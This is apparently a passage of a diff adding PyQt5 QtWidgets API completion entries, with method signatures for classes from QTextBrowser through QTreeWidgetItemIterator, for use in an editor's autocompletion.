+QtWidgets.QTextBrowser.backward?4() +QtWidgets.QTextBrowser.forward?4() +QtWidgets.QTextBrowser.home?4() +QtWidgets.QTextBrowser.reload?4() +QtWidgets.QTextBrowser.backwardAvailable?4(bool) +QtWidgets.QTextBrowser.forwardAvailable?4(bool) +QtWidgets.QTextBrowser.sourceChanged?4(QUrl) +QtWidgets.QTextBrowser.highlighted?4(QUrl) +QtWidgets.QTextBrowser.highlighted?4(QString) +QtWidgets.QTextBrowser.anchorClicked?4(QUrl) +QtWidgets.QTextBrowser.event?4(QEvent) -> bool +QtWidgets.QTextBrowser.keyPressEvent?4(QKeyEvent) +QtWidgets.QTextBrowser.mouseMoveEvent?4(QMouseEvent) +QtWidgets.QTextBrowser.mousePressEvent?4(QMouseEvent) +QtWidgets.QTextBrowser.mouseReleaseEvent?4(QMouseEvent) +QtWidgets.QTextBrowser.focusOutEvent?4(QFocusEvent) +QtWidgets.QTextBrowser.focusNextPrevChild?4(bool) -> bool +QtWidgets.QTextBrowser.paintEvent?4(QPaintEvent) +QtWidgets.QTextBrowser.isBackwardAvailable?4() -> bool +QtWidgets.QTextBrowser.isForwardAvailable?4() -> bool +QtWidgets.QTextBrowser.clearHistory?4() +QtWidgets.QTextBrowser.openExternalLinks?4() -> bool +QtWidgets.QTextBrowser.setOpenExternalLinks?4(bool) +QtWidgets.QTextBrowser.openLinks?4() -> bool +QtWidgets.QTextBrowser.setOpenLinks?4(bool) +QtWidgets.QTextBrowser.historyTitle?4(int) -> QString +QtWidgets.QTextBrowser.historyUrl?4(int) -> QUrl +QtWidgets.QTextBrowser.backwardHistoryCount?4() -> int +QtWidgets.QTextBrowser.forwardHistoryCount?4() -> int +QtWidgets.QTextBrowser.historyChanged?4() +QtWidgets.QTextBrowser.sourceType?4() -> QTextDocument.ResourceType +QtWidgets.QTextBrowser.setSource?4(QUrl, QTextDocument.ResourceType) +QtWidgets.QTextBrowser.doSetSource?4(QUrl, QTextDocument.ResourceType type=QTextDocument.UnknownResource) +QtWidgets.QTextEdit.ExtraSelection.cursor?7 +QtWidgets.QTextEdit.ExtraSelection.format?7 +QtWidgets.QTextEdit.ExtraSelection?1() +QtWidgets.QTextEdit.ExtraSelection.__init__?1(self) +QtWidgets.QTextEdit.ExtraSelection?1(QTextEdit.ExtraSelection) +QtWidgets.QTextEdit.ExtraSelection.__init__?1(self, QTextEdit.ExtraSelection) +QtWidgets.QTextEdit.AutoFormatting?1() +QtWidgets.QTextEdit.AutoFormatting.__init__?1(self) +QtWidgets.QTextEdit.AutoFormatting?1(int) +QtWidgets.QTextEdit.AutoFormatting.__init__?1(self, int) +QtWidgets.QTextEdit.AutoFormatting?1(QTextEdit.AutoFormatting) +QtWidgets.QTextEdit.AutoFormatting.__init__?1(self, QTextEdit.AutoFormatting) +QtWidgets.QToolBar?1(QString, QWidget parent=None) +QtWidgets.QToolBar.__init__?1(self, QString, QWidget parent=None) +QtWidgets.QToolBar?1(QWidget parent=None) +QtWidgets.QToolBar.__init__?1(self, QWidget parent=None) +QtWidgets.QToolBar.setMovable?4(bool) +QtWidgets.QToolBar.isMovable?4() -> bool +QtWidgets.QToolBar.setAllowedAreas?4(Qt.ToolBarAreas) +QtWidgets.QToolBar.allowedAreas?4() -> Qt.ToolBarAreas +QtWidgets.QToolBar.isAreaAllowed?4(Qt.ToolBarArea) -> bool +QtWidgets.QToolBar.setOrientation?4(Qt.Orientation) +QtWidgets.QToolBar.orientation?4() -> Qt.Orientation +QtWidgets.QToolBar.clear?4() +QtWidgets.QToolBar.addAction?4(QAction) +QtWidgets.QToolBar.addAction?4(QString) -> QAction +QtWidgets.QToolBar.addAction?4(QIcon, QString) -> QAction +QtWidgets.QToolBar.addAction?4(QString, object) -> QAction +QtWidgets.QToolBar.addAction?4(QIcon, QString, object) -> QAction +QtWidgets.QToolBar.addSeparator?4() -> QAction +QtWidgets.QToolBar.insertSeparator?4(QAction) -> QAction +QtWidgets.QToolBar.addWidget?4(QWidget) -> QAction +QtWidgets.QToolBar.insertWidget?4(QAction, QWidget) -> QAction +QtWidgets.QToolBar.actionGeometry?4(QAction) -> QRect +QtWidgets.QToolBar.actionAt?4(QPoint) -> QAction +QtWidgets.QToolBar.actionAt?4(int, int) -> QAction +QtWidgets.QToolBar.toggleViewAction?4() -> QAction +QtWidgets.QToolBar.iconSize?4() -> QSize +QtWidgets.QToolBar.toolButtonStyle?4() -> Qt.ToolButtonStyle +QtWidgets.QToolBar.widgetForAction?4(QAction) -> QWidget +QtWidgets.QToolBar.setIconSize?4(QSize) +QtWidgets.QToolBar.setToolButtonStyle?4(Qt.ToolButtonStyle) +QtWidgets.QToolBar.actionTriggered?4(QAction) +QtWidgets.QToolBar.movableChanged?4(bool) +QtWidgets.QToolBar.allowedAreasChanged?4(Qt.ToolBarAreas) +QtWidgets.QToolBar.orientationChanged?4(Qt.Orientation) +QtWidgets.QToolBar.iconSizeChanged?4(QSize) +QtWidgets.QToolBar.toolButtonStyleChanged?4(Qt.ToolButtonStyle) +QtWidgets.QToolBar.topLevelChanged?4(bool) +QtWidgets.QToolBar.visibilityChanged?4(bool) +QtWidgets.QToolBar.initStyleOption?4(QStyleOptionToolBar) +QtWidgets.QToolBar.actionEvent?4(QActionEvent) +QtWidgets.QToolBar.changeEvent?4(QEvent) +QtWidgets.QToolBar.paintEvent?4(QPaintEvent) +QtWidgets.QToolBar.event?4(QEvent) -> bool +QtWidgets.QToolBar.isFloatable?4() -> bool +QtWidgets.QToolBar.setFloatable?4(bool) +QtWidgets.QToolBar.isFloating?4() -> bool +QtWidgets.QToolBox?1(QWidget parent=None, Qt.WindowFlags flags=Qt.WindowFlags()) +QtWidgets.QToolBox.__init__?1(self, QWidget parent=None, Qt.WindowFlags flags=Qt.WindowFlags()) +QtWidgets.QToolBox.addItem?4(QWidget, QString) -> int +QtWidgets.QToolBox.addItem?4(QWidget, QIcon, QString) -> int +QtWidgets.QToolBox.insertItem?4(int, QWidget, QString) -> int +QtWidgets.QToolBox.insertItem?4(int, QWidget, QIcon, QString) -> int +QtWidgets.QToolBox.removeItem?4(int) +QtWidgets.QToolBox.setItemEnabled?4(int, bool) +QtWidgets.QToolBox.isItemEnabled?4(int) -> bool +QtWidgets.QToolBox.setItemText?4(int, QString) +QtWidgets.QToolBox.itemText?4(int) -> QString +QtWidgets.QToolBox.setItemIcon?4(int, QIcon) +QtWidgets.QToolBox.itemIcon?4(int) -> QIcon +QtWidgets.QToolBox.setItemToolTip?4(int, QString) +QtWidgets.QToolBox.itemToolTip?4(int) -> QString +QtWidgets.QToolBox.currentIndex?4() -> int +QtWidgets.QToolBox.currentWidget?4() -> QWidget +QtWidgets.QToolBox.widget?4(int) -> QWidget +QtWidgets.QToolBox.indexOf?4(QWidget) -> int +QtWidgets.QToolBox.count?4() -> int +QtWidgets.QToolBox.setCurrentIndex?4(int) +QtWidgets.QToolBox.setCurrentWidget?4(QWidget) +QtWidgets.QToolBox.currentChanged?4(int) +QtWidgets.QToolBox.itemInserted?4(int) +QtWidgets.QToolBox.itemRemoved?4(int) +QtWidgets.QToolBox.event?4(QEvent) -> bool +QtWidgets.QToolBox.showEvent?4(QShowEvent) +QtWidgets.QToolBox.changeEvent?4(QEvent) +QtWidgets.QToolButton.ToolButtonPopupMode?10 +QtWidgets.QToolButton.ToolButtonPopupMode.DelayedPopup?10 +QtWidgets.QToolButton.ToolButtonPopupMode.MenuButtonPopup?10 +QtWidgets.QToolButton.ToolButtonPopupMode.InstantPopup?10 +QtWidgets.QToolButton?1(QWidget parent=None) +QtWidgets.QToolButton.__init__?1(self, QWidget parent=None) +QtWidgets.QToolButton.sizeHint?4() -> QSize +QtWidgets.QToolButton.minimumSizeHint?4() -> QSize +QtWidgets.QToolButton.toolButtonStyle?4() -> Qt.ToolButtonStyle +QtWidgets.QToolButton.arrowType?4() -> Qt.ArrowType +QtWidgets.QToolButton.setArrowType?4(Qt.ArrowType) +QtWidgets.QToolButton.setMenu?4(QMenu) +QtWidgets.QToolButton.menu?4() -> QMenu +QtWidgets.QToolButton.setPopupMode?4(QToolButton.ToolButtonPopupMode) +QtWidgets.QToolButton.popupMode?4() -> QToolButton.ToolButtonPopupMode +QtWidgets.QToolButton.defaultAction?4() -> QAction +QtWidgets.QToolButton.setAutoRaise?4(bool) +QtWidgets.QToolButton.autoRaise?4() -> bool +QtWidgets.QToolButton.showMenu?4() +QtWidgets.QToolButton.setToolButtonStyle?4(Qt.ToolButtonStyle) +QtWidgets.QToolButton.setDefaultAction?4(QAction) +QtWidgets.QToolButton.triggered?4(QAction) +QtWidgets.QToolButton.initStyleOption?4(QStyleOptionToolButton) +QtWidgets.QToolButton.event?4(QEvent) -> bool +QtWidgets.QToolButton.mousePressEvent?4(QMouseEvent) +QtWidgets.QToolButton.paintEvent?4(QPaintEvent) +QtWidgets.QToolButton.actionEvent?4(QActionEvent) +QtWidgets.QToolButton.enterEvent?4(QEvent) +QtWidgets.QToolButton.leaveEvent?4(QEvent) +QtWidgets.QToolButton.timerEvent?4(QTimerEvent) +QtWidgets.QToolButton.changeEvent?4(QEvent) +QtWidgets.QToolButton.mouseReleaseEvent?4(QMouseEvent) +QtWidgets.QToolButton.nextCheckState?4() +QtWidgets.QToolButton.hitButton?4(QPoint) -> bool +QtWidgets.QToolTip?1(QToolTip) +QtWidgets.QToolTip.__init__?1(self, QToolTip) +QtWidgets.QToolTip.showText?4(QPoint, QString, QWidget widget=None) +QtWidgets.QToolTip.showText?4(QPoint, QString, QWidget, QRect) +QtWidgets.QToolTip.showText?4(QPoint, QString, QWidget, QRect, int) +QtWidgets.QToolTip.palette?4() -> QPalette +QtWidgets.QToolTip.hideText?4() +QtWidgets.QToolTip.setPalette?4(QPalette) +QtWidgets.QToolTip.font?4() -> QFont +QtWidgets.QToolTip.setFont?4(QFont) +QtWidgets.QToolTip.isVisible?4() -> bool +QtWidgets.QToolTip.text?4() -> QString +QtWidgets.QTreeView?1(QWidget parent=None) +QtWidgets.QTreeView.__init__?1(self, QWidget parent=None) +QtWidgets.QTreeView.setModel?4(QAbstractItemModel) +QtWidgets.QTreeView.setRootIndex?4(QModelIndex) +QtWidgets.QTreeView.setSelectionModel?4(QItemSelectionModel) +QtWidgets.QTreeView.header?4() -> QHeaderView +QtWidgets.QTreeView.setHeader?4(QHeaderView) +QtWidgets.QTreeView.indentation?4() -> int +QtWidgets.QTreeView.setIndentation?4(int) +QtWidgets.QTreeView.rootIsDecorated?4() -> bool +QtWidgets.QTreeView.setRootIsDecorated?4(bool) +QtWidgets.QTreeView.uniformRowHeights?4() -> bool +QtWidgets.QTreeView.setUniformRowHeights?4(bool) +QtWidgets.QTreeView.itemsExpandable?4() -> bool +QtWidgets.QTreeView.setItemsExpandable?4(bool) +QtWidgets.QTreeView.columnViewportPosition?4(int) -> int +QtWidgets.QTreeView.columnWidth?4(int) -> int +QtWidgets.QTreeView.columnAt?4(int) -> int +QtWidgets.QTreeView.isColumnHidden?4(int) -> bool +QtWidgets.QTreeView.setColumnHidden?4(int, bool) +QtWidgets.QTreeView.isRowHidden?4(int, QModelIndex) -> bool +QtWidgets.QTreeView.setRowHidden?4(int, QModelIndex, bool) +QtWidgets.QTreeView.isExpanded?4(QModelIndex) -> bool +QtWidgets.QTreeView.setExpanded?4(QModelIndex, bool) +QtWidgets.QTreeView.keyboardSearch?4(QString) +QtWidgets.QTreeView.visualRect?4(QModelIndex) -> QRect +QtWidgets.QTreeView.scrollTo?4(QModelIndex, QAbstractItemView.ScrollHint hint=QAbstractItemView.EnsureVisible) +QtWidgets.QTreeView.indexAt?4(QPoint) -> QModelIndex +QtWidgets.QTreeView.indexAbove?4(QModelIndex) -> QModelIndex +QtWidgets.QTreeView.indexBelow?4(QModelIndex) -> QModelIndex +QtWidgets.QTreeView.reset?4() +QtWidgets.QTreeView.expanded?4(QModelIndex) +QtWidgets.QTreeView.collapsed?4(QModelIndex) +QtWidgets.QTreeView.dataChanged?4(QModelIndex, QModelIndex, unknown-type roles=[]) +QtWidgets.QTreeView.hideColumn?4(int) +QtWidgets.QTreeView.showColumn?4(int) +QtWidgets.QTreeView.expand?4(QModelIndex) +QtWidgets.QTreeView.expandAll?4() +QtWidgets.QTreeView.collapse?4(QModelIndex) +QtWidgets.QTreeView.collapseAll?4() +QtWidgets.QTreeView.resizeColumnToContents?4(int) +QtWidgets.QTreeView.selectAll?4() +QtWidgets.QTreeView.columnResized?4(int, int, int) +QtWidgets.QTreeView.columnCountChanged?4(int, int) +QtWidgets.QTreeView.columnMoved?4() +QtWidgets.QTreeView.reexpand?4() +QtWidgets.QTreeView.rowsRemoved?4(QModelIndex, int, int) +QtWidgets.QTreeView.scrollContentsBy?4(int, int) +QtWidgets.QTreeView.rowsInserted?4(QModelIndex, int, int) +QtWidgets.QTreeView.rowsAboutToBeRemoved?4(QModelIndex, int, int) +QtWidgets.QTreeView.moveCursor?4(QAbstractItemView.CursorAction, Qt.KeyboardModifiers) -> QModelIndex +QtWidgets.QTreeView.horizontalOffset?4() -> int +QtWidgets.QTreeView.verticalOffset?4() -> int +QtWidgets.QTreeView.setSelection?4(QRect, QItemSelectionModel.SelectionFlags) +QtWidgets.QTreeView.visualRegionForSelection?4(QItemSelection) -> QRegion +QtWidgets.QTreeView.selectedIndexes?4() -> unknown-type +QtWidgets.QTreeView.paintEvent?4(QPaintEvent) +QtWidgets.QTreeView.timerEvent?4(QTimerEvent) +QtWidgets.QTreeView.mouseReleaseEvent?4(QMouseEvent) +QtWidgets.QTreeView.drawRow?4(QPainter, QStyleOptionViewItem, QModelIndex) +QtWidgets.QTreeView.drawBranches?4(QPainter, QRect, QModelIndex) +QtWidgets.QTreeView.drawTree?4(QPainter, QRegion) +QtWidgets.QTreeView.mousePressEvent?4(QMouseEvent) +QtWidgets.QTreeView.mouseMoveEvent?4(QMouseEvent) +QtWidgets.QTreeView.mouseDoubleClickEvent?4(QMouseEvent) +QtWidgets.QTreeView.keyPressEvent?4(QKeyEvent) +QtWidgets.QTreeView.updateGeometries?4() +QtWidgets.QTreeView.sizeHintForColumn?4(int) -> int +QtWidgets.QTreeView.indexRowSizeHint?4(QModelIndex) -> int +QtWidgets.QTreeView.horizontalScrollbarAction?4(int) +QtWidgets.QTreeView.isIndexHidden?4(QModelIndex) -> bool +QtWidgets.QTreeView.setColumnWidth?4(int, int) +QtWidgets.QTreeView.setSortingEnabled?4(bool) +QtWidgets.QTreeView.isSortingEnabled?4() -> bool +QtWidgets.QTreeView.setAnimated?4(bool) +QtWidgets.QTreeView.isAnimated?4() -> bool +QtWidgets.QTreeView.setAllColumnsShowFocus?4(bool) +QtWidgets.QTreeView.allColumnsShowFocus?4() -> bool +QtWidgets.QTreeView.sortByColumn?4(int, Qt.SortOrder) +QtWidgets.QTreeView.autoExpandDelay?4() -> int +QtWidgets.QTreeView.setAutoExpandDelay?4(int) +QtWidgets.QTreeView.isFirstColumnSpanned?4(int, QModelIndex) -> bool +QtWidgets.QTreeView.setFirstColumnSpanned?4(int, QModelIndex, bool) +QtWidgets.QTreeView.setWordWrap?4(bool) +QtWidgets.QTreeView.wordWrap?4() -> bool +QtWidgets.QTreeView.expandToDepth?4(int) +QtWidgets.QTreeView.dragMoveEvent?4(QDragMoveEvent) +QtWidgets.QTreeView.viewportEvent?4(QEvent) -> bool +QtWidgets.QTreeView.rowHeight?4(QModelIndex) -> int +QtWidgets.QTreeView.selectionChanged?4(QItemSelection, QItemSelection) +QtWidgets.QTreeView.currentChanged?4(QModelIndex, QModelIndex) +QtWidgets.QTreeView.expandsOnDoubleClick?4() -> bool +QtWidgets.QTreeView.setExpandsOnDoubleClick?4(bool) +QtWidgets.QTreeView.isHeaderHidden?4() -> bool +QtWidgets.QTreeView.setHeaderHidden?4(bool) +QtWidgets.QTreeView.setTreePosition?4(int) +QtWidgets.QTreeView.treePosition?4() -> int +QtWidgets.QTreeView.viewportSizeHint?4() -> QSize +QtWidgets.QTreeView.resetIndentation?4() +QtWidgets.QTreeView.expandRecursively?4(QModelIndex, int depth=-1) +QtWidgets.QTreeWidgetItem.ChildIndicatorPolicy?10 +QtWidgets.QTreeWidgetItem.ChildIndicatorPolicy.ShowIndicator?10 +QtWidgets.QTreeWidgetItem.ChildIndicatorPolicy.DontShowIndicator?10 +QtWidgets.QTreeWidgetItem.ChildIndicatorPolicy.DontShowIndicatorWhenChildless?10 +QtWidgets.QTreeWidgetItem.ItemType?10 +QtWidgets.QTreeWidgetItem.ItemType.Type?10 +QtWidgets.QTreeWidgetItem.ItemType.UserType?10 +QtWidgets.QTreeWidgetItem?1(int type=QTreeWidgetItem.Type) +QtWidgets.QTreeWidgetItem.__init__?1(self, int type=QTreeWidgetItem.Type) +QtWidgets.QTreeWidgetItem?1(QStringList, int type=QTreeWidgetItem.Type) +QtWidgets.QTreeWidgetItem.__init__?1(self, QStringList, int type=QTreeWidgetItem.Type) +QtWidgets.QTreeWidgetItem?1(QTreeWidget, int type=QTreeWidgetItem.Type) +QtWidgets.QTreeWidgetItem.__init__?1(self, QTreeWidget, int type=QTreeWidgetItem.Type) +QtWidgets.QTreeWidgetItem?1(QTreeWidget, QStringList, int type=QTreeWidgetItem.Type) +QtWidgets.QTreeWidgetItem.__init__?1(self, QTreeWidget, QStringList, int type=QTreeWidgetItem.Type) +QtWidgets.QTreeWidgetItem?1(QTreeWidget, QTreeWidgetItem, int type=QTreeWidgetItem.Type) +QtWidgets.QTreeWidgetItem.__init__?1(self, QTreeWidget, QTreeWidgetItem, int type=QTreeWidgetItem.Type) +QtWidgets.QTreeWidgetItem?1(QTreeWidgetItem, int type=QTreeWidgetItem.Type) +QtWidgets.QTreeWidgetItem.__init__?1(self, QTreeWidgetItem, int type=QTreeWidgetItem.Type) +QtWidgets.QTreeWidgetItem?1(QTreeWidgetItem, QStringList, int type=QTreeWidgetItem.Type) +QtWidgets.QTreeWidgetItem.__init__?1(self, QTreeWidgetItem, QStringList, int type=QTreeWidgetItem.Type) +QtWidgets.QTreeWidgetItem?1(QTreeWidgetItem, QTreeWidgetItem, int type=QTreeWidgetItem.Type) +QtWidgets.QTreeWidgetItem.__init__?1(self, QTreeWidgetItem, QTreeWidgetItem, int type=QTreeWidgetItem.Type) +QtWidgets.QTreeWidgetItem?1(QTreeWidgetItem) +QtWidgets.QTreeWidgetItem.__init__?1(self, QTreeWidgetItem) +QtWidgets.QTreeWidgetItem.clone?4() -> QTreeWidgetItem +QtWidgets.QTreeWidgetItem.treeWidget?4() -> QTreeWidget +QtWidgets.QTreeWidgetItem.flags?4() -> Qt.ItemFlags +QtWidgets.QTreeWidgetItem.text?4(int) -> QString +QtWidgets.QTreeWidgetItem.icon?4(int) -> QIcon +QtWidgets.QTreeWidgetItem.statusTip?4(int) -> QString +QtWidgets.QTreeWidgetItem.toolTip?4(int) -> QString +QtWidgets.QTreeWidgetItem.whatsThis?4(int) -> QString +QtWidgets.QTreeWidgetItem.font?4(int) -> QFont +QtWidgets.QTreeWidgetItem.textAlignment?4(int) -> int +QtWidgets.QTreeWidgetItem.setTextAlignment?4(int, int) +QtWidgets.QTreeWidgetItem.checkState?4(int) -> Qt.CheckState +QtWidgets.QTreeWidgetItem.setCheckState?4(int, Qt.CheckState) +QtWidgets.QTreeWidgetItem.data?4(int, int) -> QVariant +QtWidgets.QTreeWidgetItem.setData?4(int, int, QVariant) +QtWidgets.QTreeWidgetItem.read?4(QDataStream) +QtWidgets.QTreeWidgetItem.write?4(QDataStream) +QtWidgets.QTreeWidgetItem.parent?4() -> QTreeWidgetItem +QtWidgets.QTreeWidgetItem.child?4(int) -> QTreeWidgetItem +QtWidgets.QTreeWidgetItem.childCount?4() -> int +QtWidgets.QTreeWidgetItem.columnCount?4() -> int +QtWidgets.QTreeWidgetItem.addChild?4(QTreeWidgetItem) +QtWidgets.QTreeWidgetItem.insertChild?4(int, QTreeWidgetItem) +QtWidgets.QTreeWidgetItem.takeChild?4(int) -> QTreeWidgetItem +QtWidgets.QTreeWidgetItem.type?4() -> int +QtWidgets.QTreeWidgetItem.setFlags?4(Qt.ItemFlags) +QtWidgets.QTreeWidgetItem.setText?4(int, QString) +QtWidgets.QTreeWidgetItem.setIcon?4(int, QIcon) +QtWidgets.QTreeWidgetItem.setStatusTip?4(int, QString) +QtWidgets.QTreeWidgetItem.setToolTip?4(int, QString) +QtWidgets.QTreeWidgetItem.setWhatsThis?4(int, QString) +QtWidgets.QTreeWidgetItem.setFont?4(int, QFont) +QtWidgets.QTreeWidgetItem.indexOfChild?4(QTreeWidgetItem) -> int +QtWidgets.QTreeWidgetItem.sizeHint?4(int) -> QSize +QtWidgets.QTreeWidgetItem.setSizeHint?4(int, QSize) +QtWidgets.QTreeWidgetItem.addChildren?4(unknown-type) +QtWidgets.QTreeWidgetItem.insertChildren?4(int, unknown-type) +QtWidgets.QTreeWidgetItem.takeChildren?4() -> unknown-type +QtWidgets.QTreeWidgetItem.background?4(int) -> QBrush +QtWidgets.QTreeWidgetItem.setBackground?4(int, QBrush) +QtWidgets.QTreeWidgetItem.foreground?4(int) -> QBrush +QtWidgets.QTreeWidgetItem.setForeground?4(int, QBrush) +QtWidgets.QTreeWidgetItem.sortChildren?4(int, Qt.SortOrder) +QtWidgets.QTreeWidgetItem.setSelected?4(bool) +QtWidgets.QTreeWidgetItem.isSelected?4() -> bool +QtWidgets.QTreeWidgetItem.setHidden?4(bool) +QtWidgets.QTreeWidgetItem.isHidden?4() -> bool +QtWidgets.QTreeWidgetItem.setExpanded?4(bool) +QtWidgets.QTreeWidgetItem.isExpanded?4() -> bool +QtWidgets.QTreeWidgetItem.setChildIndicatorPolicy?4(QTreeWidgetItem.ChildIndicatorPolicy) +QtWidgets.QTreeWidgetItem.childIndicatorPolicy?4() -> QTreeWidgetItem.ChildIndicatorPolicy +QtWidgets.QTreeWidgetItem.removeChild?4(QTreeWidgetItem) +QtWidgets.QTreeWidgetItem.setFirstColumnSpanned?4(bool) +QtWidgets.QTreeWidgetItem.isFirstColumnSpanned?4() -> bool +QtWidgets.QTreeWidgetItem.setDisabled?4(bool) +QtWidgets.QTreeWidgetItem.isDisabled?4() -> bool +QtWidgets.QTreeWidgetItem.emitDataChanged?4() +QtWidgets.QTreeWidget?1(QWidget parent=None) +QtWidgets.QTreeWidget.__init__?1(self, QWidget parent=None) +QtWidgets.QTreeWidget.columnCount?4() -> int +QtWidgets.QTreeWidget.setColumnCount?4(int) +QtWidgets.QTreeWidget.topLevelItem?4(int) -> QTreeWidgetItem +QtWidgets.QTreeWidget.topLevelItemCount?4() -> int +QtWidgets.QTreeWidget.insertTopLevelItem?4(int, QTreeWidgetItem) +QtWidgets.QTreeWidget.addTopLevelItem?4(QTreeWidgetItem) +QtWidgets.QTreeWidget.takeTopLevelItem?4(int) -> QTreeWidgetItem +QtWidgets.QTreeWidget.indexOfTopLevelItem?4(QTreeWidgetItem) -> int +QtWidgets.QTreeWidget.insertTopLevelItems?4(int, unknown-type) +QtWidgets.QTreeWidget.addTopLevelItems?4(unknown-type) +QtWidgets.QTreeWidget.headerItem?4() -> QTreeWidgetItem +QtWidgets.QTreeWidget.setHeaderItem?4(QTreeWidgetItem) +QtWidgets.QTreeWidget.setHeaderLabels?4(QStringList) +QtWidgets.QTreeWidget.currentItem?4() -> QTreeWidgetItem +QtWidgets.QTreeWidget.currentColumn?4() -> int +QtWidgets.QTreeWidget.setCurrentItem?4(QTreeWidgetItem) +QtWidgets.QTreeWidget.setCurrentItem?4(QTreeWidgetItem, int) +QtWidgets.QTreeWidget.setCurrentItem?4(QTreeWidgetItem, int, QItemSelectionModel.SelectionFlags) +QtWidgets.QTreeWidget.itemAt?4(QPoint) -> QTreeWidgetItem +QtWidgets.QTreeWidget.itemAt?4(int, int) -> QTreeWidgetItem +QtWidgets.QTreeWidget.visualItemRect?4(QTreeWidgetItem) -> QRect +QtWidgets.QTreeWidget.sortColumn?4() -> int +QtWidgets.QTreeWidget.sortItems?4(int, Qt.SortOrder) +QtWidgets.QTreeWidget.editItem?4(QTreeWidgetItem, int column=0) +QtWidgets.QTreeWidget.openPersistentEditor?4(QTreeWidgetItem, int column=0) +QtWidgets.QTreeWidget.closePersistentEditor?4(QTreeWidgetItem, int column=0) +QtWidgets.QTreeWidget.itemWidget?4(QTreeWidgetItem, int) -> QWidget +QtWidgets.QTreeWidget.setItemWidget?4(QTreeWidgetItem, int, QWidget) +QtWidgets.QTreeWidget.selectedItems?4() -> unknown-type +QtWidgets.QTreeWidget.findItems?4(QString, Qt.MatchFlags, int column=0) -> unknown-type +QtWidgets.QTreeWidget.scrollToItem?4(QTreeWidgetItem, QAbstractItemView.ScrollHint hint=QAbstractItemView.EnsureVisible) +QtWidgets.QTreeWidget.expandItem?4(QTreeWidgetItem) +QtWidgets.QTreeWidget.collapseItem?4(QTreeWidgetItem) +QtWidgets.QTreeWidget.clear?4() +QtWidgets.QTreeWidget.itemPressed?4(QTreeWidgetItem, int) +QtWidgets.QTreeWidget.itemClicked?4(QTreeWidgetItem, int) +QtWidgets.QTreeWidget.itemDoubleClicked?4(QTreeWidgetItem, int) +QtWidgets.QTreeWidget.itemActivated?4(QTreeWidgetItem, int) +QtWidgets.QTreeWidget.itemEntered?4(QTreeWidgetItem, int) +QtWidgets.QTreeWidget.itemChanged?4(QTreeWidgetItem, int) +QtWidgets.QTreeWidget.itemExpanded?4(QTreeWidgetItem) +QtWidgets.QTreeWidget.itemCollapsed?4(QTreeWidgetItem) +QtWidgets.QTreeWidget.currentItemChanged?4(QTreeWidgetItem, QTreeWidgetItem) +QtWidgets.QTreeWidget.itemSelectionChanged?4() +QtWidgets.QTreeWidget.mimeTypes?4() -> QStringList +QtWidgets.QTreeWidget.mimeData?4(unknown-type) -> QMimeData +QtWidgets.QTreeWidget.dropMimeData?4(QTreeWidgetItem, int, QMimeData, Qt.DropAction) -> bool +QtWidgets.QTreeWidget.supportedDropActions?4() -> Qt.DropActions +QtWidgets.QTreeWidget.indexFromItem?4(QTreeWidgetItem, int column=0) -> QModelIndex +QtWidgets.QTreeWidget.itemFromIndex?4(QModelIndex) -> QTreeWidgetItem +QtWidgets.QTreeWidget.event?4(QEvent) -> bool +QtWidgets.QTreeWidget.dropEvent?4(QDropEvent) +QtWidgets.QTreeWidget.invisibleRootItem?4() -> QTreeWidgetItem +QtWidgets.QTreeWidget.setHeaderLabel?4(QString) +QtWidgets.QTreeWidget.isFirstItemColumnSpanned?4(QTreeWidgetItem) -> bool +QtWidgets.QTreeWidget.setFirstItemColumnSpanned?4(QTreeWidgetItem, bool) +QtWidgets.QTreeWidget.itemAbove?4(QTreeWidgetItem) -> QTreeWidgetItem +QtWidgets.QTreeWidget.itemBelow?4(QTreeWidgetItem) -> QTreeWidgetItem +QtWidgets.QTreeWidget.removeItemWidget?4(QTreeWidgetItem, int) +QtWidgets.QTreeWidget.setSelectionModel?4(QItemSelectionModel) +QtWidgets.QTreeWidget.isPersistentEditorOpen?4(QTreeWidgetItem, int column=0) -> bool +QtWidgets.QTreeWidgetItemIterator.IteratorFlag?10 +QtWidgets.QTreeWidgetItemIterator.IteratorFlag.All?10 +QtWidgets.QTreeWidgetItemIterator.IteratorFlag.Hidden?10 +QtWidgets.QTreeWidgetItemIterator.IteratorFlag.NotHidden?10 +QtWidgets.QTreeWidgetItemIterator.IteratorFlag.Selected?10 +QtWidgets.QTreeWidgetItemIterator.IteratorFlag.Unselected?10 +QtWidgets.QTreeWidgetItemIterator.IteratorFlag.Selectable?10 +QtWidgets.QTreeWidgetItemIterator.IteratorFlag.NotSelectable?10 +QtWidgets.QTreeWidgetItemIterator.IteratorFlag.DragEnabled?10 +QtWidgets.QTreeWidgetItemIterator.IteratorFlag.DragDisabled?10 +QtWidgets.QTreeWidgetItemIterator.IteratorFlag.DropEnabled?10 +QtWidgets.QTreeWidgetItemIterator.IteratorFlag.DropDisabled?10 +QtWidgets.QTreeWidgetItemIterator.IteratorFlag.HasChildren?10 +QtWidgets.QTreeWidgetItemIterator.IteratorFlag.NoChildren?10 +QtWidgets.QTreeWidgetItemIterator.IteratorFlag.Checked?10 +QtWidgets.QTreeWidgetItemIterator.IteratorFlag.NotChecked?10 +QtWidgets.QTreeWidgetItemIterator.IteratorFlag.Enabled?10 +QtWidgets.QTreeWidgetItemIterator.IteratorFlag.Disabled?10 +QtWidgets.QTreeWidgetItemIterator.IteratorFlag.Editable?10 +QtWidgets.QTreeWidgetItemIterator.IteratorFlag.NotEditable?10 +QtWidgets.QTreeWidgetItemIterator.IteratorFlag.UserFlag?10 +QtWidgets.QTreeWidgetItemIterator?1(QTreeWidgetItemIterator) +QtWidgets.QTreeWidgetItemIterator.__init__?1(self, QTreeWidgetItemIterator) +QtWidgets.QTreeWidgetItemIterator?1(QTreeWidget, QTreeWidgetItemIterator.IteratorFlags flags=QTreeWidgetItemIterator.All) +QtWidgets.QTreeWidgetItemIterator.__init__?1(self, QTreeWidget, QTreeWidgetItemIterator.IteratorFlags flags=QTreeWidgetItemIterator.All) +QtWidgets.QTreeWidgetItemIterator?1(QTreeWidgetItem, QTreeWidgetItemIterator.IteratorFlags flags=QTreeWidgetItemIterator.All) +QtWidgets.QTreeWidgetItemIterator.__init__?1(self, QTreeWidgetItem, QTreeWidgetItemIterator.IteratorFlags flags=QTreeWidgetItemIterator.All) +QtWidgets.QTreeWidgetItemIterator.value?4() -> QTreeWidgetItem +QtWidgets.QTreeWidgetItemIterator.IteratorFlags?1() +QtWidgets.QTreeWidgetItemIterator.IteratorFlags.__init__?1(self) +QtWidgets.QTreeWidgetItemIterator.IteratorFlags?1(int) +QtWidgets.QTreeWidgetItemIterator.IteratorFlags.__init__?1(self, int) 